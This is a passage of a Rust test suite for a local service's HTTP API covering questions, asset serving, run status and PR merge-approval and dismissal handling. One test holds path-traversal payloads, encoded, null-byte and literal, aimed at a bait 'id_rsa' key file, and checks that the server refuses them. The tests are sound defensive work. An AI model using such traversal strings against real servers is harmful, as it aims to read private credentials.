11147 ("HEADLINE.TXT", b"plain"),
11148 ],
11149 );
11150
11151 for name in ["notes.html", "hook.js", "data.json"] {
11152 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11153 assert_eq!(res.status, 200, "{name}: {}", res.body);
11154 assert_eq!(
11159 res.header("content-type"),
11160 Some("application/octet-stream"),
11161 "{name} must not be a type the browser will execute or render"
11162 );
11163 }
11164 let txt = fx
11167 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11168 .await;
11169 assert_eq!(
11170 txt.header("content-type"),
11171 Some("text/plain; charset=utf-8")
11172 );
11173 }
11174
11175 #[tokio::test]
11176 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11177 let fx = Fixture::start().await;
11178 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11179 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11183
11184 for encoded in [
11191 "%2e%2e%2fid_rsa",
11192 "..%2fid_rsa",
11193 "..%5cid_rsa",
11194 "%2e%2e%5cid_rsa",
11195 "diff%00.svg",
11196 "..",
11197 ".hidden",
11198 "%2e%2e%2f%2e%2e%2fid_rsa",
11199 ] {
11200 let res = fx
11201 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11202 .await;
11203 assert_eq!(
11204 res.status, 400,
11205 "`{encoded}` has to be refused by name, not looked up: {}",
11206 res.body
11207 );
11208 assert!(res.json()["error"].is_string(), "{}", res.body);
11209 }
11210
11211 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11217 let res = fx
11218 .get(&format!("/api/questions/{id}/asset/{literal}"))
11219 .await;
11220 assert_eq!(
11221 res.status, 404,
11222 "`{literal}` must not match the asset route at all: {}",
11223 res.body
11224 );
11225 }
11226 }
11227
11228 #[tokio::test]
11229 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11230 let fx = Fixture::start().await;
11231 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11232 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11233
11234 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11238 assert_eq!(none.status, 404, "{}", none.body);
11239 assert!(none.json()["error"].is_string(), "{}", none.body);
11240 assert_eq!(
11241 fx.head(&format!("/api/questions/{plain}/panel"))
11242 .await
11243 .status,
11244 404,
11245 "the preflight is the only way the client can learn this"
11246 );
11247
11248 let missing = fx
11250 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11251 .await;
11252 assert_eq!(missing.status, 404, "{}", missing.body);
11253 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11254
11255 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11257 assert_eq!(
11258 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11259 404
11260 );
11261 }
11262
11263 #[tokio::test]
11264 async fn a_run_with_an_open_question_reads_as_waiting() {
11265 let fx = Fixture::start().await;
11266 let run = "20260902-000000-beef".to_owned();
11267 write_run(&fx.runs(), &run, RunStatus::Implementing);
11268
11269 let before = fx.get("/api/runs").await.json();
11270 assert_eq!(before[0]["waiting"], false, "{before}");
11271
11272 let store = fx.questions();
11273 let mut q = Question::new(
11274 run.clone(),
11275 "implement".to_owned(),
11276 "impl-A".to_owned(),
11277 "Which backend?".to_owned(),
11278 String::new(),
11279 vec!["SQLite".to_owned()],
11280 );
11281 store.put(&mut q).expect("put");
11282
11283 let during = fx.get("/api/runs").await.json();
11284 assert_eq!(during[0]["waiting"], true, "{during}");
11285
11286 q.answer(Answer::Choice("SQLite".to_owned()))
11289 .expect("answer");
11290 store.put(&mut q).expect("put");
11291 let after = fx.get("/api/runs").await.json();
11292 assert_eq!(after[0]["waiting"], false, "{after}");
11293 }
11294
11295 #[tokio::test]
11296 async fn an_open_question_is_listed_and_counted_by_health() {
11297 let fx = Fixture::start().await;
11298 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11299
11300 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11301 let listed = fx.get("/api/questions").await.json();
11302 assert_eq!(listed.as_array().expect("array").len(), 1);
11303 assert_eq!(listed[0]["id"], id);
11304 assert_eq!(listed[0]["status"], "open");
11305 assert_eq!(listed[0]["choices"][1], "Redis");
11306 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11309 }
11310
11311 fn obsolete_approval_state() -> RunState {
11312 let mut state = crate::land::tests::repair_state(true, true);
11313 state.pr = Some(crate::run::PrRecord {
11314 url: "https://github.com/example/repo/pull/42".into(),
11315 number: 42,
11316 state: "open".into(),
11317 checks: "green".into(),
11318 round: 1,
11319 rounds: 4,
11320 red_at_merge: Vec::new(),
11321 });
11322 state
11323 }
11324
11325 #[tokio::test]
11326 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11327 for owner in ["missing", "current", "completed", "later"] {
11328 let fx = Fixture {
11329 home: TempDir::new().unwrap(),
11330 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11331 };
11332 let mut state = obsolete_approval_state();
11333 state.status = RunStatus::Landing;
11334 state.parked = true;
11335 state.driver_exited = true;
11336 let mut q = Question::new(
11337 state.id.clone(),
11338 crate::land::APPROVAL_NODE.into(),
11339 "land".into(),
11340 "Old approval".into(),
11341 "Original evidence".into(),
11342 vec!["merge".into(), "hold".into()],
11343 );
11344 state.land_approval = Some(crate::run::LandApproval {
11345 question: q.id.clone(),
11346 head: "head".into(),
11347 });
11348 state.save_under(fx.home.path()).unwrap();
11349 let stale = state.clone();
11350 fx.questions().put(&mut q).unwrap();
11351 let mut task = Task::new(
11352 "Owner".into(),
11353 "Original instruction".into(),
11354 state.repo.clone(),
11355 Source::Human,
11356 );
11357 task.runs.push(state.id.clone());
11358 task.status = if owner == "completed" {
11359 TaskStatus::Done
11360 } else {
11361 TaskStatus::Parked
11362 };
11363 if owner == "later" {
11364 task.runs.push("later-run".into());
11365 }
11366 if owner != "missing" {
11367 fx.queue().put(&mut task).unwrap();
11368 }
11369 let ui = Arc::new(Ui::new(
11370 fx.queue(),
11371 fx.questions(),
11372 fx.talks(),
11373 fx.runs(),
11374 fx.home.path().into(),
11375 state.repo.clone(),
11376 ));
11377 let response = question_answer(
11378 State(ui),
11379 Path(q.id.clone()),
11380 Ok(Json(NewAnswer {
11381 choice: Some(crate::merge_decision::DISMISS.into()),
11382 text: None,
11383 ..Default::default()
11384 })),
11385 )
11386 .await
11387 .unwrap();
11388 assert_eq!(
11389 response.0.question.resolution().as_deref(),
11390 Some(crate::merge_decision::DISMISS)
11391 );
11392 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11393 assert_eq!(disk.status, RunStatus::Superseded);
11394 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11395 assert!(!crate::merge_decision::resumable_hold(&disk));
11396 assert_eq!(
11397 serde_json::to_value(&disk.pr).unwrap(),
11398 serde_json::to_value(&stale.pr).unwrap()
11399 );
11400 assert_eq!(fx.questions().count_open(), 0);
11401 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11402 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11403 if owner == "missing" {
11404 assert!(fx.queue().list().is_empty());
11405 } else {
11406 let after = fx.queue().get(&task.id).unwrap();
11407 assert_eq!(
11408 after.status,
11409 if owner == "current" {
11410 TaskStatus::Done
11411 } else {
11412 task.status
11413 }
11414 );
11415 assert_eq!(after.runs, task.runs);
11416 assert_eq!(after.instruction, task.instruction);
11417 assert_eq!(after.action_applied(&q.id), owner == "current");
11418 }
11419 }
11420 }
11421
11422 #[tokio::test]
11423 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11424 let fx = Fixture::start().await;
11425 let mut state = obsolete_approval_state();
11426 state.status = RunStatus::Landing;
11427 state.parked = true;
11428 state.driver_exited = true;
11429 let mut q = Question::new(
11430 state.id.clone(),
11431 crate::land::APPROVAL_NODE.into(),
11432 "land".into(),
11433 "Superseded PR approval".into(),
11434 "Original review evidence".into(),
11435 vec!["merge".into(), "hold".into()],
11436 );
11437 state.land_approval = Some(crate::run::LandApproval {
11438 question: q.id.clone(),
11439 head: "old-reviewed-head".into(),
11440 });
11441 state.save_under(fx.home.path()).unwrap();
11444 let stale_driver = state.clone();
11445 fx.questions().put(&mut q).unwrap();
11446 let path = fx
11447 .home
11448 .path()
11449 .join("questions")
11450 .join(format!("{}.json", q.id));
11451 let mut legacy = serde_json::to_value(&q).unwrap();
11452 legacy["schema"] = 9.into();
11453 legacy.as_object_mut().unwrap().remove("merge_target");
11454 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11455
11456 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11459 let answer_path = format!("/api/questions/{}/answer", q.id);
11460 let res = fx.post(&answer_path, Some(&body)).await;
11461 assert_eq!(res.status, 200, "{}", res.body);
11462 let disk = fx.questions().get(&q.id).unwrap();
11463 assert_eq!(
11464 disk.resolution().as_deref(),
11465 Some(crate::merge_decision::DISMISS)
11466 );
11467 assert!(disk.detail.starts_with("Original review evidence"));
11468 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11469 assert_eq!(retired.status, RunStatus::Superseded);
11470 assert_eq!(
11471 serde_json::to_value(&retired.pr).unwrap(),
11472 serde_json::to_value(&state.pr).unwrap()
11473 );
11474 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11475 assert!(!crate::merge_decision::resumable_hold(&retired));
11476 assert!(fx.queue().list().is_empty());
11477 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11478 let addr = Fixture::serve(
11480 fx.home.path(),
11481 PathBuf::from("/repo/magi"),
11482 launch_idle,
11483 None,
11484 )
11485 .await;
11486 let reconnected = Fixture {
11487 home: fx.home,
11488 addr,
11489 };
11490 let listed = reconnected.get("/api/questions").await.json();
11491 assert!(
11492 listed
11493 .as_array()
11494 .unwrap()
11495 .iter()
11496 .all(|q| q["status"] != "open")
11497 );
11498 assert_eq!(listed[0]["id"], q.id, "history remains available");
11499 assert_eq!(
11500 reconnected.get("/api/health").await.json()["questions_open"],
11501 0
11502 );
11503 assert_eq!(
11504 reconnected
11505 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11506 .await
11507 .status,
11508 409
11509 );
11510 assert!(
11512 reconnected
11513 .questions()
11514 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11515 .is_err()
11516 );
11517 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11520 }
11521
11522 #[tokio::test]
11523 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11524 let fx = Fixture::start().await;
11525 let mut state = obsolete_approval_state();
11526 state.status = RunStatus::Landing;
11527 state.driver_exited = true;
11528 let mut q = Question::new(
11529 state.id.clone(),
11530 crate::land::APPROVAL_NODE.into(),
11531 "land".into(),
11532 "Obsolete approval".into(),
11533 String::new(),
11534 vec!["merge".into(), "hold".into()],
11535 );
11536 state.land_approval = Some(crate::run::LandApproval {
11537 question: q.id.clone(),
11538 head: "head".into(),
11539 });
11540 state.save_under(fx.home.path()).unwrap();
11541 fx.questions().put(&mut q).unwrap();
11542 let mut task = Task::new(
11543 "Owner".into(),
11544 "Original instruction".into(),
11545 state.repo.clone(),
11546 Source::Human,
11547 );
11548 task.runs = vec![state.id.clone(), "later-run".into()];
11549 fx.queue().put(&mut task).unwrap();
11550 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11551 let claim = fx.queue().claim(&task.id).unwrap();
11552 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11553 let path = format!("/api/questions/{}/answer", q.id);
11554 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11555 assert!(fx.questions().get(&q.id).unwrap().status.open());
11556 drop(claim);
11557 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11558 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11559 assert!(fx.questions().get(&q.id).unwrap().status.open());
11560 drop(publication);
11561 state.driver_exited = false;
11563 state.driver_pid = None;
11564 state.save_under(fx.home.path()).unwrap();
11565 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11566 state.driver_exited = true;
11567 state.land_armed_head = Some("head".into());
11568 state.save_under(fx.home.path()).unwrap();
11569 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11570 state.land_armed_head = None;
11571 state.save_under(fx.home.path()).unwrap();
11572 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11573 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11574 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11575 }
11576
11577 #[tokio::test]
11578 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11579 let fx = Fixture::start().await;
11580 let mut state = obsolete_approval_state();
11581 state.status = RunStatus::Landing;
11582 state.driver_exited = true;
11583 let mut q = Question::new(
11584 state.id.clone(),
11585 crate::land::APPROVAL_NODE.into(),
11586 "land".into(),
11587 "Obsolete approval".into(),
11588 String::new(),
11589 vec!["merge".into(), "hold".into()],
11590 );
11591 state.land_approval = Some(crate::run::LandApproval {
11592 question: q.id.clone(),
11593 head: "head".into(),
11594 });
11595 state.save_under(fx.home.path()).unwrap();
11596 fx.questions().put(&mut q).unwrap();
11597 let mut task = Task::new(
11598 "Owner".into(),
11599 "Original instruction".into(),
11600 state.repo.clone(),
11601 Source::Human,
11602 );
11603 task.runs.push(state.id.clone());
11604 task.status = TaskStatus::Parked;
11605 fx.queue().put(&mut task).unwrap();
11606 state.merge_decision = Some(crate::merge_decision::Decision {
11609 question: q.id.clone(),
11610 target: crate::merge_decision::Target {
11611 pr: state.pr.as_ref().unwrap().url.clone(),
11612 head: "head".into(),
11613 language: "ja".into(),
11614 },
11615 choice: crate::merge_decision::DISMISS.into(),
11616 closed: false,
11617 replacement_run: None,
11618 replacement_pr: None,
11619 });
11620 state.status = RunStatus::Superseded;
11621 state.save_under(fx.home.path()).unwrap();
11622 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11623 let path = format!("/api/questions/{}/answer", q.id);
11624 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11625 let done = fx.queue().get(&task.id).unwrap();
11626 assert_eq!(done.status, TaskStatus::Done);
11627 assert_eq!(done.runs, task.runs);
11628 assert_eq!(done.instruction, task.instruction);
11629 assert!(done.action_applied(&q.id));
11630 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11631 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11632 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11633 }
11634
11635 #[tokio::test]
11636 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11637 let home = TempDir::new().unwrap();
11638 let ui = Arc::new(Ui::new(
11639 Queue::at(home.path().join("queue")),
11640 Questions::at(home.path().join("questions")),
11641 Talks::at(home.path().join("talks")),
11642 home.path().join("runs"),
11643 home.path().to_owned(),
11644 home.path().to_owned(),
11645 ));
11646 let talks = &ui.talks;
11647 let chat =
11648 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11649 let mut q = Question::new(
11650 "run".into(),
11651 crate::land::APPROVAL_NODE.into(),
11652 "land".into(),
11653 "Merge?".into(),
11654 String::new(),
11655 vec!["merge".into(), "hold".into()],
11656 );
11657 q.routed_task = Some("task".into());
11658 q.routed_chat = Some(chat.id.clone());
11659 q.merge_target = Some(crate::merge_decision::Target {
11660 pr: "https://example.test/pull/1".into(),
11661 head: "head-a".into(),
11662 language: "en".into(),
11663 });
11664 ui.questions.put(&mut q).unwrap();
11665 let send = |body| {
11666 question_answer(
11667 State(ui.clone()),
11668 Path(q.id.clone()),
11669 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
11670 )
11671 };
11672 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
11673 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
11674 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
11675 assert!(send(wrong_chat).await.is_err());
11676 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
11677 assert!(send(stale).await.is_err());
11678 assert!(ui.questions.get(&q.id).unwrap().status.open());
11679 assert!(send(button.clone()).await.is_ok());
11680 assert_eq!(
11681 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11682 Some("merge")
11683 );
11684 assert!(send(button).await.is_err());
11685 }
11686
11687 #[tokio::test]
11688 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
11689 let home = TempDir::new().unwrap();
11690 let ui = Arc::new(Ui::new(
11691 Queue::at(home.path().join("queue")),
11692 Questions::at(home.path().join("questions")),
11693 Talks::at(home.path().join("talks")),
11694 home.path().join("runs"),
11695 home.path().to_owned(),
11696 home.path().to_owned(),
11697 ));
11698 for choice in [crate::land::APPROVE, crate::land::HOLD] {
11699 let mut q = Question::new(
11700 "run".into(),
11701 crate::land::APPROVAL_NODE.into(),
11702 "land".into(),
11703 "Merge?".into(),
11704 String::new(),
11705 vec!["merge".into(), choice.into()],
11706 );
11707 q.routed_task = Some("task".into());
11708 q.merge_target = Some(crate::merge_decision::Target {
11709 pr: "https://example.test/pull/1".into(),
11710 head: "head-a".into(),
11711 language: "en".into(),
11712 });
11713 ui.questions.put(&mut q).unwrap();
11714 let answer = |c: &str| {
11715 question_answer(
11716 State(ui.clone()),
11717 Path(q.id.clone()),
11718 Ok(Json(
11719 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
11720 .unwrap(),
11721 )),
11722 )
11723 };
11724 let _ = answer(choice).await.unwrap();
11725 assert_eq!(
11726 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11727 Some(choice)
11728 );
11729 }
11730 }
11731
11732 #[tokio::test]
11733 async fn a_routed_decision_is_refused_on_the_question_route() {
11734 let home = TempDir::new().unwrap();
11735 let ui = Arc::new(Ui::new(
11736 Queue::at(home.path().join("queue")),
11737 Questions::at(home.path().join("questions")),
11738 Talks::at(home.path().join("talks")),
11739 home.path().join("runs"),
11740 home.path().to_owned(),
11741 home.path().to_owned(),
11742 ));
11743 let mut q = Question::new(
11744 "run".into(),
11745 crate::github_text::ASK_NODE.into(),
11746 "posting-gate".into(),
11747 "Post?".into(),
11748 String::new(),
11749 vec!["use fallback".into()],
11750 );
11751 q.routed_task = Some("task".into());
11752 ui.questions.put(&mut q).unwrap();
11753 let sent = question_answer(
11754 State(ui.clone()),
11755 Path(q.id.clone()),
11756 Ok(Json(
11757 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
11758 .unwrap(),
11759 )),
11760 )
11761 .await;
11762 assert!(sent.is_err());
11763 assert!(ui.questions.get(&q.id).unwrap().status.open());
11764 }
11765
11766 #[tokio::test]
11767 async fn merge_decision_api_persists_exact_target_and_selected_action() {
11768 let fx = Fixture {
11769 home: TempDir::new().unwrap(),
11770 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11771 };
11772 for choice in [
11773 crate::land::HOLD,
11774 crate::land::REPAIR,
11775 crate::land::APPROVE,
11776 crate::merge_decision::WITHDRAW,
11777 "reimplement:beta",
11778 ] {
11779 let mut q = Question::new(
11780 "old-run".into(),
11781 crate::land::APPROVAL_NODE.into(),
11782 "land".into(),
11783 "Decision".into(),
11784 "Review findings".into(),
11785 vec![
11786 "merge".into(),
11787 "hold".into(),
11788 crate::land::REPAIR.into(),
11789 crate::merge_decision::WITHDRAW.into(),
11790 "reimplement:beta".into(),
11791 ],
11792 );
11793 q.merge_target = Some(crate::merge_decision::Target {
11794 pr: "https://github.com/example/repo/pull/42".into(),
11795 head: "exact-reviewed-head".into(),
11796 language: "ja".into(),
11797 });
11798 q.consult = Some(ask::ChatConsult {
11799 talk: "another-conversation".into(),
11800 at: jiff::Timestamp::now(),
11801 });
11802 fx.questions().put(&mut q).unwrap();
11803 let ui = Arc::new(Ui::new(
11804 fx.queue(),
11805 fx.questions(),
11806 fx.talks(),
11807 fx.runs(),
11808 fx.home.path().into(),
11809 std::path::PathBuf::from("."),
11810 ));
11811 let response = question_answer(
11812 State(ui.clone()),
11813 Path(q.id.clone()),
11814 Ok(Json(NewAnswer {
11815 choice: Some(choice.into()),
11816 text: None,
11817 ..Default::default()
11818 })),
11819 )
11820 .await
11821 .unwrap();
11822 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11823 let disk = fx.questions().get(&q.id).unwrap();
11824 assert_eq!(disk.merge_target, q.merge_target);
11825 assert_eq!(disk.consult, q.consult);
11826 assert!(
11827 disk.answer_authority.is_none(),
11828 "a direct owner card is its own decision"
11829 );
11830 assert_eq!(disk.resolution().as_deref(), Some(choice));
11831 assert!(
11832 question_answer(
11833 State(ui),
11834 Path(q.id.clone()),
11835 Ok(Json(NewAnswer {
11836 choice: Some("merge".into()),
11837 text: None,
11838 ..Default::default()
11839 }))
11840 )
11841 .await
11842 .is_err(),
11843 "an already settled decision cannot turn into merge approval"
11844 );
11845 }
11846 }
11847
11848 #[tokio::test]
11849 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11850 let fx = Fixture {
11851 home: TempDir::new().unwrap(),
11852 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11853 };
11854 let mut state = crate::land::tests::repair_state(true, true);
11855 state.status = RunStatus::Landing;
11856 state.parked = true;
11857 state.driver_exited = true;
11858 let mut task = Task::new(
11859 "Existing PR owner".into(),
11860 state.instruction.clone(),
11861 state.repo.clone(),
11862 Source::Human,
11863 );
11864 task.runs.push(state.id.clone());
11865 task.status = TaskStatus::Parked;
11866 fx.queue().put(&mut task).unwrap();
11867 let mut q = Question::new(
11868 state.id.clone(),
11869 crate::land::APPROVAL_NODE.into(),
11870 "land".into(),
11871 "Contested merge".into(),
11872 "Original evidence".into(),
11873 vec!["merge".into(), "hold".into()],
11874 );
11875 state.land_approval = Some(crate::run::LandApproval {
11876 question: q.id.clone(),
11877 head: "reviewed-head".into(),
11878 });
11879 state.save_under(fx.home.path()).unwrap();
11880 fx.questions().put(&mut q).unwrap();
11881 task.hold_manual(Some("Pause this PR".into()));
11883 fx.queue().put(&mut task).unwrap();
11884 let ui = Arc::new(Ui::new(
11887 fx.queue(),
11888 fx.questions(),
11889 fx.talks(),
11890 fx.runs(),
11891 fx.home.path().to_path_buf(),
11892 state.repo.clone(),
11893 ));
11894 let response = question_answer(
11895 State(ui),
11896 Path(q.id.clone()),
11897 Ok(Json(NewAnswer {
11898 choice: Some(crate::land::REPAIR.into()),
11899 text: None,
11900 ..Default::default()
11901 })),
11902 )
11903 .await
11904 .unwrap();
11905 assert_eq!(response.0.question.id, q.id);
11906 let upgraded = fx.questions().get(&q.id).unwrap();
11907 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11908 assert!(upgraded.detail.starts_with("Original evidence"));
11909 let claim = fx.queue().claim(&task.id).unwrap();
11910 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11911 assert!(
11912 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11913 "an existing driver keeps its claim"
11914 );
11915 drop(claim);
11916 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11917 let resumed = fx.queue().get(&task.id).unwrap();
11918 assert_eq!(
11919 resumed
11920 .resume_override
11921 .as_ref()
11922 .unwrap()
11923 .pinned_run
11924 .as_deref(),
11925 Some(state.id.as_str())
11926 );
11927 assert!(resumed.status.runnable());
11928 assert_eq!(resumed.instruction, task.instruction);
11929 assert_eq!(resumed.runs, task.runs);
11930 assert!(resumed.action_applied(&q.id));
11931 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11932 assert_eq!(fx.queue().list().len(), 1);
11933 assert_eq!(
11934 fx.queue().get(&task.id).unwrap().resume_override,
11935 resumed.resume_override
11936 );
11937 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11938 assert!(
11939 disk.merge_repairs.is_empty(),
11940 "only the claimed run driver may execute repair"
11941 );
11942 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11943 }
11944
11945 #[tokio::test]
11946 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11947 let fx = Fixture::start().await;
11948 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11949 let path = format!("/api/questions/{id}/answer");
11950
11951 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11952 assert_eq!(res.status, 200, "{}", res.body);
11953 let body = res.json();
11954 assert_eq!(body["status"], "answered");
11955 assert_eq!(body["answer"]["choice"], "Redis");
11956
11957 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11961 assert_eq!(again.status, 409, "{}", again.body);
11962 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11963 }
11964
11965 #[tokio::test]
11966 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11967 let home = tempfile::tempdir().unwrap();
11968 let ui = delta_test_ui(home.path());
11969 let mut q = Question::new(
11970 "task".into(),
11971 crate::land::APPROVAL_NODE.into(),
11972 "land".into(),
11973 "Explain?".into(),
11974 String::new(),
11975 vec!["hold".into()],
11976 );
11977 q.deputy = Some(ask::Deputy::new("context".into()));
11978 ui.questions.put(&mut q).unwrap();
11979 let mut cfg = stub_config();
11980 cfg.daemon.max_deputies = 0;
11981 let mut status = crate::daemon::Status::new();
11982 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11983 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11984 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11985 let error = question_say(
11986 State(ui.clone()),
11987 Path(q.id.clone()),
11988 Ok(Json(NewSay {
11989 body: "Explain the findings".into(),
11990 })),
11991 )
11992 .await
11993 .unwrap_err();
11994 assert_eq!(
11995 error.text_reason,
11996 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11997 );
11998 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11999
12000 let mut text = Question::new(
12001 "task".into(),
12002 "ask".into(),
12003 "operator".into(),
12004 "Which name?".into(),
12005 String::new(),
12006 vec![],
12007 );
12008 ui.questions.put(&mut text).unwrap();
12009 let Json(view) = question_answer(
12010 State(ui.clone()),
12011 Path(text.id.clone()),
12012 Ok(Json(NewAnswer {
12013 choice: None,
12014 text: Some("chosen name".into()),
12015 ..Default::default()
12016 })),
12017 )
12018 .await
12019 .unwrap();
12020 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12021 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12022 }
12023
12024 #[tokio::test]
12025 async fn question_text_handler_admission_without_transport() {
12026 let home = tempfile::tempdir().unwrap();
12027 let ui = delta_test_ui(home.path());
12028 let mut q = Question::new(
12029 "task".into(),
12030 crate::land::APPROVAL_NODE.into(),
12031 "land".into(),
12032 "May this PR merge?".into(),
12033 String::new(),
12034 vec!["hold".into()],
12035 );
12036 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12037 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12038 ui.questions.put(&mut q).unwrap();
12039 let say = || {
12040 Ok(Json(NewSay {
12041 body: "Explain the findings".into(),
12042 }))
12043 };
12044 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12045 .await
12046 .unwrap_err();
12047 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12048 let response = rejected.into_response();
12049 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12050 .await
12051 .unwrap();
12052 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12053 assert_eq!(body["code"], "question_text_unavailable");
12054 assert_eq!(body["reason"], "deputy_exhausted");
12055 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12056 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12057 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12058 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12059 .await
12060 .unwrap();
12061 assert_eq!(view.text_delivery.state, "live");
12062 assert!(view.question.waiter.is_none());
12063 assert!(view.question.cwd.is_none());
12064 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12065 ui.questions.drop_lease(&q.id);
12066 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12067 .await
12068 .unwrap_err();
12069 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12070 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12071 let _ = question_answer(
12072 State(ui.clone()),
12073 Path(q.id.clone()),
12074 Ok(Json(NewAnswer {
12075 choice: Some("hold".into()),
12076 text: None,
12077 ..Default::default()
12078 })),
12079 )
12080 .await
12081 .unwrap();
12082 assert_eq!(
12083 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12084 Some("hold")
12085 );
12086 }
12087
12088 #[tokio::test]
12089 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12090 let fx = Fixture::start().await;
12091 let store = fx.questions();
12092 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12093 store
12094 .update(&id, |q| {
12095 q.node = crate::land::APPROVAL_NODE.to_owned();
12096 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12097 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12098 Ok(())
12099 })
